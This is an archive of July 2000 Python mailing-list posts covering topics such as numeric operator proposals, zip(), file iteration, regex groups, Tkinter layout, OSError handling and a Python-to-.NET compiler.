> But Gore is into the internet, and that's a relevant
> segue to design science as well.  Nader is highly
> critical of corporations ala 'Grunch of Giants'
> and so has plenty of hooks.  There's nothing stopping
> any of these campaigns from jumping on the design
> science bandwagon and demonstrating some ability
> to point towards a positive future for all humanity.
> Any candidate who fails to lead the way to a better
> tomorrow ipso facto fails the minimum test for
> leadership ability, in my book.
> 
> Kirby
> 
> [1] CP4E: http://www.python.org/doc/essays/cp4e.html
> [2] http://www.salon.com/tech/col/rose/2000/07/27/napster_shutdown/index.html

-- 

Site Gnome - site maintenance, documentation and proof reading

http://www.sitegnome.com


From xiarcexml at yahoo.com  Thu Jul 13 12:12:32 2000
From: xiarcexml at yahoo.com (Dave Williams)
Date: Thu, 13 Jul 2000 09:12:32 -0700 (PDT)
Subject: File IO with select?
Message-ID: <20000713161232.18986.qmail@web5303.mail.yahoo.com>

I am new to Python... but I have an idea...  If you use an object as
a go between...  This object references the file with some sort of
boolean (default as true)... , and upon granting access, is changed
to false.  When the object that is writing to the file finishes, it
sets it back to true.  


~Dave

__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail ? Free email you can access from anywhere!
http://mail.yahoo.com/



From robin at jessikat.fsnet.co.uk  Thu Jul 20 12:08:14 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 17:08:14 +0100
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
 <m3og3tkvw3.fsf@chinon.cnrs-orleans.fr> <39771F6D.A9A0A26B@yale.edu>
Message-ID: <3vd2oVAuPyd5Ewwx@jessikat.fsnet.co.uk>

In article <39771F6D.A9A0A26B at yale.edu>, Paul Magwene
<paul.magwene at yale.edu> writes
>Konrad Hinsen wrote:
>
...
>Of all the proposals so far, I find Konrad's suggestion to be the most
>appealing.
>I could definitely get used to the following:
>
>A(*)B
>A(/)B
>A(+.*)B
>...etc
>
>Please keep * for elementwise multiplication like in NumPy.  There is
>already a large installed user/codebase which uses it as such.
>
>I personally find A at B very hard to parse visually. @ justs seems to just
>smack of that other P language. ;-)
>
...
I like this too, but would the operators have to be parsed that way as
triples or quintuples etc
-- 
Robin Becker


From nowonder at nowonder.de  Mon Jul 31 01:27:27 2000
From: nowonder at nowonder.de (Peter Schneider-Kamp)
Date: Mon, 31 Jul 2000 05:27:27 +0000
Subject: [Python-Dev] PEP 201, zip() builtin
References: <LNBBLJKPBEHFEDALKOLCGEODGMAA.tim_one@email.msn.com>
Message-ID: <39850E3F.434D1C3A@nowonder.de>

Tim Peters wrote:
> 
> Both syntaxes already have well-defined meanings in Python (*try* them!), so
> we can't change what they mean without breaking existing code.  Guido would
> *prefer* to do this via syntax instead of new functions, but in more than a
> year nobody has been able to dream up a reasonable syntax that's
> backward-compatible.    That's not for lack of trying.

I thought the problem was that all the syntaxes implied cross-
product rather than lock-step iteration. I can't remember what
the problem for the semicolon syntax should have been
(besides the semicolon normally only being used between stmts):

for x,y; z in list_xy; list_z:
  print "coordinates: x,y,z"

sorry-to-bring-that-up-again---I-like-zip()-a-lot-ly yr's
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From thomas at xs4all.net  Thu Jul 20 08:39:00 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Thu, 20 Jul 2000 14:39:00 +0200
Subject: iterating over lines in a file
In-Reply-To: <slrn8ndk9n.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>; from scarblac-spamtrap@pino.selwerd.nl on Thu, Jul 20, 2000 at 10:16:33AM +0000
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <20000720124305.A1220@xyz.donetsk.ua> <slrn8ndk9n.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <20000720143900.P9897@xs4all.nl>

On Thu, Jul 20, 2000 at 10:16:33AM +0000, Remco Gerlich wrote:

> > > while (line = <FILE>) { block; }

> > The easiest way:

> > for line in file.readlines():
> >     block

> But that would read the whole thing into memory, and he doesn't want that.

> Wouldn't an xreadlines() method on file objects be cool?

There's the 'fileinput' module, which is almost exactly that. (It does some
extra things as well, if you wish ;)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From grey at despair.rpglink.com  Sat Jul 29 18:36:28 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 22:36:28 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <20000728192952.A32288@exeter.exeter.org> <slrn8o4aid.7dm.grey@teleute.rpglink.com> <clj4os0ggbdv8ipnhofpau0887kdg6qgpl@4ax.com>
Message-ID: <slrn8o6mv7.f91.grey@teleute.rpglink.com>

On Sat, 29 Jul 2000 03:19:30 GMT, Ben Wolfson <rumjuggler at cryptarchy.org>
wrote:
>Now, most of y'all be thinkin', "Tha H-Dog, he know his bidness." And thas
>right, man. Shit need addin'? I creep in, adds tha shit up, and slip out,
>quiet as a muthafuck. Variance need resolvin'? It be gone without a trace.
>Uh-huh. Only a wack-ass fool ask someone besides tha H-Dog to
>accountz-receeve they shit.
>-- Herbert Kornfeld, Accounts Receivable Supervisor         

    *snicker*  Reminds me of Delta Ebonics.  Thanks for the good chuckle.
 
-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From matt at nightrealms.com  Tue Jul 18 22:43:10 2000
From: matt at nightrealms.com (Matthew Cline)
Date: Tue, 18 Jul 2000 18:43:10 -0800
Subject: Newbies trying to do a build script
References: <8l1o61$n45$1@nnrp1.deja.com> <k56d5.2080$mL5.81696@news-west.usenetserver.com>
Message-ID: <PN7d5.3148$mL5.112650@news-west.usenetserver.com>

In article <k56d5.2080$mL5.81696 at news-west.usenetserver.com>, Matthew
Cline <matt at nightrealms.com> wrote:

> In article <8l1o61$n45$1 at nnrp1.deja.com>, John Urberg
> <jurberg at my-deja.com> wrote:
> 
>> Hi all,
>> 
>> I am working on a project with a couple of other developers and we
>> are all new to scripting languages.  We need to create a build
>> script to build an application that consist of C++ and Java code. 
>> We have some Perl resources in another group, but I would prefer
>> doing it in Python.  I was hoping someone here could point me to
>> some examples of build scripts in Python to get us going quickly.
> 
> So you're doing something that autoconf, automake, configure and so
> forth can't handle?

Urgh, that probably wasn't too useful.  Sorry.

What exactly do you need the script to do?  If you want to compile
files in sub-directories, sub-sub-directories, and so forth, the
standard UNIX make already takes care of that.  If you want to apply
scripts or programs to certain files, then you can have make call
those scripts.  If you want to figure out the configuration of your
computer, like where the JVM is, what version it is, and so on, or to
automatically figure out what "-D" flags you should give to the
compiler, then autoconf and automake will take care of things.

If, after the compile is done, you want to move files around to create
the file tree you'll use for distribution, make can probably do that
as well.




From MarkH at ActiveState.com  Thu Jul 13 17:45:26 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 13 Jul 2000 21:45:26 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au>
Message-ID: <8kld9h$489$1@nnrp1.deja.com>

In article <Epxa5.13351$Tb7.89807 at news-server.bigpond.net.au>,
  "Neil Hodgson" <neilh at scintilla.org> wrote:
>    Now that Microsoft have revealed their Intermediate Language (IL)
>    virtual machine, are we going to see a version of Python that
>    compiles directly to IL? Or will Python byte codes still be
>    interpreted by C code?

Directly to IL - although there is still a runtime that handles some of
the Python semantics.

This new compiler could be compared, conceptually, with JPython - it is
a completely new implementation of Python.  It has a compiler that
generates native Windows .DLL/.EXE files.  It uses a runtime that
consists of a few thousand lines of C# (C-Sharp) code.  The Python
programs can be debugged at the source level with Visual Studio 7, as
well as stand-alone debuggers for this environment.  Python can sub-
class VB or C# classes, and vice-versa.

Unfortunately, there will not be a public release of their SDK for a
couple of months - so the only people able to use this compiler are
people who attended the PDC, and hence have the pre-beta SDK on their
conference CDs.

The compiler is looking pretty reasonable.  pystone.py (amongst others,
of course) compiles and runs.

However, this should be quite exciting for the Python community.  The
general feel of the conference here is that the MS .NET technology is
exciting and a good thing.  I predict that the Windows community will
embrace this technology, and having Python be a first-class citizen is a
good thing!  It _is_ a radical change.

Future work on this compiler will be under the ActiveState banner.
However, the compiler and the runtime are all open source.  The
compiler is written in CPython, and uses win32com to get at the
Reflection::Emit APIs provided by .NET.  All the existing work has been
done mainly by me, with some code and advice from Greg Stein.  Now the
NDA is lifted, I hope (some of) the Python community will get behind
this, and take advantage of the open-sourceness of the compiler and
runtime, and help us turn this into an excellent language for this
environment.

All good stuff (IMO, of course)

None of this is speaking for ActiveState - just my personal opinion.

Mark (still at the PDC!)


Sent via Deja.com http://www.deja.com/
Before you buy.


From alex at magenta.com  Sat Jul 29 06:57:01 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 29 Jul 2000 12:57:01 +0200
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <20000728192952.A32288@exeter.exeter.org> <slrn8o4aid.7dm.grey@teleute.rpglink.com>
Message-ID: <8luhsm31ce8@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o4aid.7dm.grey at teleute.rpglink.com...
> On Fri, 28 Jul 2000 19:29:52 -0400, Karl Ulbrich <kulbrich at yahoo.com>
wrote:
> >If they already contained numbers (well, strings of digits), and you were
> >certain, then simply:
>
> > a = int(b)
>
>     As stated, that would work except Python returns a None on a no-match
and

Incidentally, you can change that if you wish -- it ain't hard!  See:

>>> re.match('a(\d+)|b(\d+)','a3').groups()
('3', None)

but:

>>> re.match('a(\d+)|b(\d+)','a3').groups('0')
('3', '0')

None is the DEFAULT returned for nonmatching groups, but if
you don't like that, the argument to the groups method of
the match object is just the ticket.


> None can't be converted.

No, but '0' easily can, and as we've seen it's very easy
to arrange for groups to return that if so desired.  So,
to summarize...:

>>> there = re.compile('a(\d+)|b(\d+)')
>>> map(int, there.match('a3').groups('0'))
[3, 0]
>>> map(int, there.match('b4').groups('0'))
[0, 4]

I do not think this need be the best approach to the
specific problem you've stated, but it's surely one
approach to keep in mind.  0 rather than '0' as the
argument to groups would work just as well, btw, since
int(0) and int('0') both evaluate to 0...:-).

So, an alternative implementation of the function I
already proposed, and here repeat...:

def intGroups(match, default=0):
    results = []
    for g in match.groups():
        if g: results.append(int(g))
        else: results.append(default)
    return results

would be:

def intGroups(match, default=0):
    return map(int, match.groups(default))


It's certainly more concise, and most likely faster,
too, but readability is debatable.  If one just does
not like map, a middle of the road alternative:

def intGroups(match, default=0):
    results = []
    for g in match.groups(default):
        results.append(int(g))
    return results

You see, even in Python tmtowtdi -- we just don't
_emphasize_ that:-).  The ideal would be to have
ONE obvious way to do it -- although the 'obvious'
part may not be obvious until you know the language
and standard library pretty well:-).  In that light,
I suspect the Obvious Way here is yet another:

def intGroups(match, default=0):
    matches = match.groups(default)
    return map(int, matches)

Clearly equivalent to the one-liner, but, by giving
a name to the tuple returned by groups, albeit a
local and quite transient one, we give it, I feel,
just the light-touch sort of emphasis it deserves
here -- a 'subdued highlight', if you'll pardon the
oxymoron, that seems to me to make it very readable...
and to suggest all sorts of useful generalizations,
such as, say:

def translatedGroups(match, translate=int, default=0):
    matches = match.groups(default)
    return map(translate, matches)

intGroups=translatedGroups


Note that I've provided a synonym for the most likely
usage with the binding right after the def -- another
useful idiom, I believe.


Alex





From keitt at nceas.ucsb.edu  Sun Jul 23 19:07:41 2000
From: keitt at nceas.ucsb.edu (Timothy H. Keitt)
Date: Sun, 23 Jul 2000 16:07:41 -0700
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <Pine.LNX.4.10.10007221126350.20922-100000@us2.mayo.edu> <slrn8njrbs.s4.hzhu@localhost.localdomain>
Message-ID: <397B7ABD.FF7F7281@nceas.ucsb.edu>

Huaiyu Zhu wrote:
> 
> all the different languages or packages.  Brief summaries by their users
> here would provide very helpful background information.

Operators for the R language are summarized here:

	http://stat.ethz.ch/R-alpha/doc/html/function.html

R uses * for elementwise array multiplication and %*% for matrix
multiplication.  (The '%op%' notation is a general mechanism for
defining arbitrary infix operators.)

Tim


-- 
Timothy H. Keitt
National Center for Ecological Analysis and Synthesis
735 State Street, Suite 300, Santa Barbara, CA 93101
Phone: 805-892-2519, FAX: 805-892-2510
http://www.nceas.ucsb.edu/~keitt/


From ajsiegel at my-deja.com  Mon Jul 24 13:14:43 2000
From: ajsiegel at my-deja.com (ajsiegel at my-deja.com)
Date: Mon, 24 Jul 2000 17:14:43 GMT
Subject: Open letter to Guido van Rossum
References: <200007240401.AAA07578@mail3.mia.bellsouth.net> <8lhij5$278$1@slb2.atl.mindspring.net> <8lhmgd$p92$1@nnrp1.deja.com>
Message-ID: <8lhtht$v1e$1@nnrp1.deja.com>

In article <8lhmgd$p92$1 at nnrp1.deja.com>,
  jerry_spicklemire at my-deja.com wrote:
>
> This suggestion makes perfect sense, in cases where Python has
> already been adopted by the substantial, for profit shop in question.
> One could then assume that Python is recognized for it's merits, and
> that the "customer" realizes that, as with any Open Source tools, it
> is easy and effective to contribute by scratching your own itch, and
> returning the resulting solution to the community.
>
But I wasn't necessarily suggesting that there would be a contribution
back to the community. There would be a proprietary solution - and
perhaps a competitive advantage achieved. The contribution back to
the community would be a separate business decision.

Certainly this makes particular sense to me when me are talking about
functionality against a commercial database.


Sent via Deja.com http://www.deja.com/
Before you buy.


From Richard.Jones at fulcrum.com.au  Fri Jul 28 00:16:01 2000
From: Richard.Jones at fulcrum.com.au (Richard Jones)
Date: Fri, 28 Jul 2000 14:16:01 +1000
Subject: Perl is worse! (was: Python is Wierd!) 
In-Reply-To: Message from Steve Lamb of 2000-Jul-28 3:29:6,
            <slrn8o1vc0.vnr.grey@teleute.rpglink.com> 
Message-ID: <200007280416.OAA31003@envy.fulcrum.com.au>

[Steve Lamb]
> On Fri, 28 Jul 2000 11:37:46 +1000, Richard Jones
> <Richard.Jones at fulcrum.com.au> wrote:
> >   Hey, don't worry about mis-using the linenoise - you just have to _look_
> >at the damn structure in Perl the wrong way and suddenly it's something else
> . 
> 
>     Please, be realistic.  How is this different than Python's automatigal
> variable declaration based solely on first use?

   Eh? You're comparing the assignment operation - the placing of a label on an 
object - with the automagical creation of an object? How is:

   a = 1

 ... the same as

   $a = undef;
   $a->{foo} = 1;

 ... not raising an error?


 ... especially when the second is buried deep in some complex application and 
fails to raise an exception, thus masking the true source of the error?


     Richard





From mas at echo.fr  Thu Jul  6 03:37:19 2000
From: mas at echo.fr (Roland Mas)
Date: Thu, 06 Jul 2000 07:37:19 GMT
Subject: Py_Apache Vs. mod_python
References: <3963CF19.3F4CDA8D@bioeng.ucsd.edu>
Message-ID: <87zonvso9c.fsf@cachemir.echo-net.net>

Curtis Jensen (2000-07-05 17:13:13 -0700) :

> What is the difference between Py_Apache and mod_python?

There's mod_snake too, just to add to the confusion.

Roland.
-- 
Roland Mas

Food, shelter, source code.
  -- Cyclic Software


From tim.hochberg at ieee.org.bbs  Mon Jul 17 16:40:04 2000
From: tim.hochberg at ieee.org.bbs (tim.hochberg at ieee.org.bbs)
Date: 17 Jul 2000 20:40:04 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bROc5$l0C@openbazaar.net>

"Kevin Jacobs" <jacobs at darwin.epbi.cwru.edu> wrote in message

[SNIP]

> Silly idea 1:
>
>   Until add-on Python grammar modules are available, what about a
PyAlgebra
>   evaluator module.  For a precedent, see regular expressions.  The
>   difference is that linear-algebra syntax can be made too Python-like for
>   some tastes.
>
>   e.g.:
>
>   import PyAlgebra
>
>   PyAlgebra.run(r'A = (A .* B)\C')
>   e = PyAlgebra(r"D = A'*B")
>   e.run() # or e()
>
> Admittedly, its not perfect, nor optimally compact, but it is no longer
> encumbered by having to support the full Python grammar and is free to
> redefine as much as necessary.

Interestingly, an idea very similar to this was floated in the NumPy
community a couple years ago, but for entirely different reasons. The
motivation for this at the time was in order to support more efficient
matrix operations (eliminating intermediate results and such) and possibly
compiling the expression to native code. Digging through some of the NumPy
archives would probably reveal some interesting discussion of this possibly
not so silly idea.

-tim


From m.faassen at vet.uu.nl  Fri Jul 28 16:41:31 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 28 Jul 2000 20:41:31 GMT
Subject: Perl is worse!
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com>
Message-ID: <8lsr5r$hrq$2@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
[snip]
>     Ah, but getting back to that point I said to remember.

> foo = "a"
> foo = list(foo)

>     foo is not ['a'].  It took a single element and made it a list.  So we now
> know that a single element has a sequence.  Here is another sequence of a
> single element.

> foo = 1
> foo = list(foo)

>     Error.  Single element sequence.  Remember, any sequence can either be a
> single value or a sequence.  Yet here we have a single value denied.  Quirks
> abound.

Ahum, now watch this:

foo = 1
foo = foo + 1

foo is now 2. So, '+ 1' takes a single integer and makes it the number 2. So
now we know that a single integer is turned into 2 that way. Here's another
integer:

foo = 3
foo = foo + 1

Foo is now 4! But we just determined + 1 turned something into 2, right? :)

Your reasoning is faulty. In Python, a string is a sequence. That's why
list("a") works. It turns a string sequence of characters into a list
sequence of characters (or strings, in fact, as characters and strings
are the same in Python).

Please, do find the inconsistencies and quirks of Python _where they 
actually are_. Most of what you're finding *is* consistent and is not
a quirk. It's merely different than what you're used to. The only
real quirk you found is None = 1, and even that is a consequence of
a consistency.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From kpmurphy at my-deja.com  Thu Jul  6 10:49:56 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Thu, 06 Jul 2000 14:49:56 GMT
Subject: tkinter frames
Message-ID: <8k26af$1nq$1@nnrp1.deja.com>

can anyone tell me why this doesn't work?

from Tkinter import *

root = Tk()
myFrame = Frame(root, width=200, height=200, bg='red')
myFrame2 = Frame(root, width=200, height=200, bg='orange')

label1 = Label(myFrame, text='hi')

myFrame.grid(row=0, column=0)
myFrame2.grid(row=0, column=2)

root.mainloop()


...(in my mind)it should display two colored frames, one containing a
label.

thanks,
-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From jessaustin at SPAMFREE.lucent.com  Wed Jul  5 05:48:20 2000
From: jessaustin at SPAMFREE.lucent.com (Jess Austin)
Date: Wed, 5 Jul 2000 17:48:20 +0800
Subject: Python COM for Linux?
References: <8ja7gv$687$1@nnrp1.deja.com> <3958c185.103629691@news> <Za465.1871$iN5.400266@ptah.visi.com>
Message-ID: <8juulj$csu$1@pony.kenan.com>

Grant Edwards wrote in message ...
>
>I have a Python program that fetches mail from MS Exchange
>Server using MAPI/COM.  I'd dearly love to run it under Linux.
>Does anybody have an experience with accessing MS Exchange
>Server via COM from Linux?

I'd love to take a look at this.  I'm always interested in anything that
could help me escape the drudgery of Outlook.  Can you post a link?

thanks,
Jess




From glandrum at my-deja.com  Thu Jul 20 00:19:56 2000
From: glandrum at my-deja.com (Greg Landrum)
Date: Thu, 20 Jul 2000 04:19:56 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m2u2dl1xf4.fsf@spiff.home.com>
Message-ID: <8l5ul2$sic$1@nnrp1.deja.com>


>
> I can't see a good answer here. NumPy has been around for a long time
> and I believe it has a fairly large user base which is a strong
> argument in favor of the ".x" operators being matrixwise. However,
> other operators within python (*,+) operate "objectwise" on sequences
> (concatenation and replication). I think it would be suprising if
> these operators were elementwise for matrices and objectwise for
> other, similar, objects (sequences). This tends to favor ".x" being
> elementwise.
>

[apologies in advance for how rambling this is]

I'm just an ordinary NumPy user, but I know I'm not in favor of
any new syntax which is going to break my existing code (at least
until the mythical Py3K appears, at which point I'll probably just
suck it up and figure out how to make things go).  I have a lot of
Numeric code which is reliant upon * being elementwise, consequently
I have a major problem with that mysteriously changing.

I think Tim did a great job of summarizing that there aren't compelling
reasons pointing for either alternative syntax, so I think we should
at least try to obey the commandment:
Thou shalt not change syntax in ways which breaks existing code.

Of course, if it turns out that MatPy has a much larger user base than
Numeric Python (which I find unlikely), and * means "matrix
multiplication" then I will be sad for having made the wrong choice
two years ago and I'll have to undertake the enormously painful task
of updating most every piece of code I've written.

Can you detect my enthusiasm?

I, for one, find MatLab's syntax loathsome and don't really want to
have to use something that acts like it.  I also like the fact that
I have to explicitly type "matrixmultiply" to invoke an order-dependant
operation (since * is normally commutative).  I could live with .*
though.

Well, that's my view from the peanut gallery.

-greg


Sent via Deja.com http://www.deja.com/
Before you buy.


From NOSPAM_rdrew at cia-group.com  Tue Jul  4 17:46:55 2000
From: NOSPAM_rdrew at cia-group.com (Ray Drew)
Date: Tue, 4 Jul 2000 22:46:55 +0100
Subject: Can't get pythondoc to work
Message-ID: <8jtm0o$6rv$1@soap.pipex.net>

I can't get pythondoc to work. I've got pythondoc, pythondoc\formatters and
pythondoc\xref in the pythonpath. When I try to run it on the test.py file I
get a couple of module not found errors, even though they appear to be in
the python path (I can import them interactively in PythonWin). When I try
to run python pdoc.py test.py I get this traceback:

D:\bin\cpython\Lib\pythondoc>python pdoc.py test.py
Warning: Failed to import internalXref (exceptions.ImportError: No module
named
docobjects)
Traceback (innermost last):
  File "pdoc.py", line 2, in ?
    import pythondoc.pythondoc
  File "pythondoc.py", line 81, in ?
    formatters.init(_options)
  File "formatters\__init__.py", line 4, in init
    init(__path__, options)
  File "formatters\format_init.py", line 25, in init
    import pythondoc.message
ImportError: No module named message

The pythonpath is:

D:\bin\cpython\Lib\pythondoc>echo %pythonpath%
d:\bin\cpython\lib;d:\bin\cpython\lib\Numeric;d:\bin\cpython\lib\htmldoc;d:\
bin\
cpython\lib\pythondoc;d:\bin\cpython\lib\pythondoc\formatters;d:\bin\cpython
\lib
\pythondoc\xref

Python 1.5.2 on Windows 98

Can anyone see what I'm doing wrong?

Thanks,

Ray




From lars.lundstedt at telia.com  Tue Jul 11 15:01:24 2000
From: lars.lundstedt at telia.com (Lars Lundstedt)
Date: Tue, 11 Jul 2000 19:01:24 GMT
Subject: Enumerating drives in Python or wxPython
Message-ID: <8aKa5.485$652.11285@newsc.telia.net>

The subject line says it all. How do I do it?
Anyone who knows?

/LasseLu




From bvdpoel at uniserve.com  Sat Jul 15 22:42:36 2000
From: bvdpoel at uniserve.com (Bob van der Poel)
Date: Sat, 15 Jul 2000 19:42:36 -0700
Subject: converting tcl database file to python
References: <3970F455.58A6CAD3@uniserve.com> <3971004C.93FEC29F@wam.umd.edu>
Message-ID: <3971211C.A2F151FD@uniserve.com>

Bob Schmertz wrote:
> 
> Bob van der Poel wrote:
> 
> > also thinking that this is dumb. If I were using C I'd use a structure
> > like this:
> >
> >         typedef struct{
> >                 char *Title, *Artist, *Composer, *Timing;
> >         }CDITEM;
> >         typedef struct{
> >                 char *Name;
> >                 char *Comment;
> >                 char *CDItem[];
> >         }CDENTRY;
> >
> >         CDENTRY Mydata[maxtitles];
> >
> > Or something like that. Any suggestions on how that would translate to a
> > proper python idiom?
> >
> 
> Did you consider a CdItem class?

No. I've looked at them but the one thing  that bothered me is that
after defining a class (aka structure) one is free to add variables a
will.

> class CDITEM():
>     def __init__(self, name, comment, etc):
>         self.name = name
>         self.comment = comment
>         self.etc = etc
> 
> mydata = []
> mydata.append(CDITEM("Thriller", "gift from my mom", "more stuff"))

For example, after the above I can write:

	mydata.dummy="bad data"

but, since it's just as hard to access the 'dummy' I guess it's not a
big deal. Just used to C too much I guess.

Looks like a class is the way to go.
 
> > 2. Any quick ideas on how to convert the tcl-style data file to
> > something python can deal with?
> 
> Tcl's probably what I'd go with for this.  Haven't dealt with it for a while,
> though.

Yes. started a bit this PM. I think that what I'll do is write a
conversion in tcl and end up with a very-verbose datafile format. With
PentiumIIs who cares about a few extra cycles of overhead parsing a
file. I've just gotta get into the 21th century.

-- 
   __
  /  )      /         Bob van der Poel
 /--<  ____/__        bvdpoel at uniserve.com
/___/_(_) /_)         http://users.uniserve.com/~bvdpoel


From thomas at xs4all.net  Thu Jul  6 16:30:42 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Thu, 6 Jul 2000 22:30:42 +0200
Subject: Having problems with Exceptions
In-Reply-To: <3964ADE0.E8051736@orci.com>; from mblatch@orci.com on Thu, Jul 06, 2000 at 10:03:44AM -0600
References: <3964ADE0.E8051736@orci.com>
Message-ID: <20000706223042.C26534@xs4all.nl>

On Thu, Jul 06, 2000 at 10:03:44AM -0600, m wrote:

> I'm new at Python coding and am trying to catch
> errors returned by os.open with exception handling.
> All errors with os.open are returned with an OSError
> exception.  So, how do I split out the individual errors
> with something as simple as:

> try:
>   file=os.open("test",os.O_RDWR | os.O_CREAT | os.O_EXCL, 0444)
> 
> except OSError:
>   {want to do different things here for errno EEXIST (file exists)
>      or EACCES (Permission denied), etc.}

> I have looked at the tuple returned by sys.exc_info() and can
> extract the *text* of the Python error message 
> (i.e. "[Errno 17] File exists"), but not the numeric error number.
> I certianly don't want to have to rely on parsing the text to get 
> the actual error.  I'm sure there is an easy answer to this if
> someone would be kind enough to help me.

You're looking for the 'errno' attribute of OSError objects. You should
compare them to constants defined in errno, for compatibility, like so:


import os, errno

try:
    file = os.open("test", ... )
except OSError, e:
    if e.errno == errno.EEXIST:
        print "The file eixsts already"
    elif e.errno == errno.EACCES:
        print "Can't touch this"
    elif e.errno == ELOOP:
        print "symlink after " * 1024 + "symlink!"
    <etc>


-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From sw8t at node1.unix.Virginia.EDU  Thu Jul 20 13:20:10 2000
From: sw8t at node1.unix.Virginia.EDU (Scott Witherell)
Date: Thu, 20 Jul 2000 13:20:10 -0400
Subject: FAQ maintenance with Python ...
Message-ID: <Pine.A41.4.05.10007201310050.72384-100000@node1.unix.Virginia.EDU>

I'm setting up a web FAQ for my research lab and wanted to use Python.  I
quickly found the FaqWiz and used that (with a couple minor modifcations).
And it's great - except that it seems quite difficult to reorder the FAQ
entries after they've been entered.  Everybody in the lab is just gonna
throw stuff on this FAQ and I'm sure that a month or two down the road
we'll have a much better idea of how we would like the FAQ organized.  So
it seems likely that I'll want to do some fairly drastic reordering (both
within category and across).

Has anyone else run into this problem?  If so how did you solve it?  The
FaqWizard uses RCS to track changes - a tool I've never used before.  In
my mind (before I found FaqWiz) I had just imagined a simple flat file
containing position, question, and answer for each entry.  I'm not the
world's greatest coder, so I was happy to find FaqWiz.  But, I'm just not
sure if it will save time in the long run.

Any advice is appreciated.  Thanks,

scott



From anamax at earthlink.net.bbs  Sun Jul 16 16:20:16 2000
From: anamax at earthlink.net.bbs (anamax at earthlink.net.bbs)
Date: 16 Jul 2000 20:20:16 GMT
Subject: Funding vs Python
Message-ID: <3bQYbG$hK7@openbazaar.net>

I was tired of hearing a friend talk about how wonderful Python is,
so I decided to learn Python by using it to implement a product that
the official implementation team thought would take experts 1-2 man
years using numerous Java buzz-words.  A month later, I'm still a
Python newbie, but I'm close enough to done that I'm looking at
the rev 2 feature list.  (The experts are still trying to hire
but are going to start any day because other folks like running
code more than they like plans.)

No good deed goes unpunished, so now I'm getting push back along the
lines of "we can't get funded if it's in Python".  (Somehow, I don't
think that using Perl would have produced the same reaction.)

I've seen the list of web projects at python.org, so I'm wondering
if there are others or if there really are examples of companies that
didn't get funded because they used Python.

-andy


Sent via Deja.com http://www.deja.com/
Before you buy.


From grey at despair.rpglink.com  Sat Jul 29 18:56:43 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 22:56:43 GMT
Subject: Perl is worse! (was: Python is Wierd!)
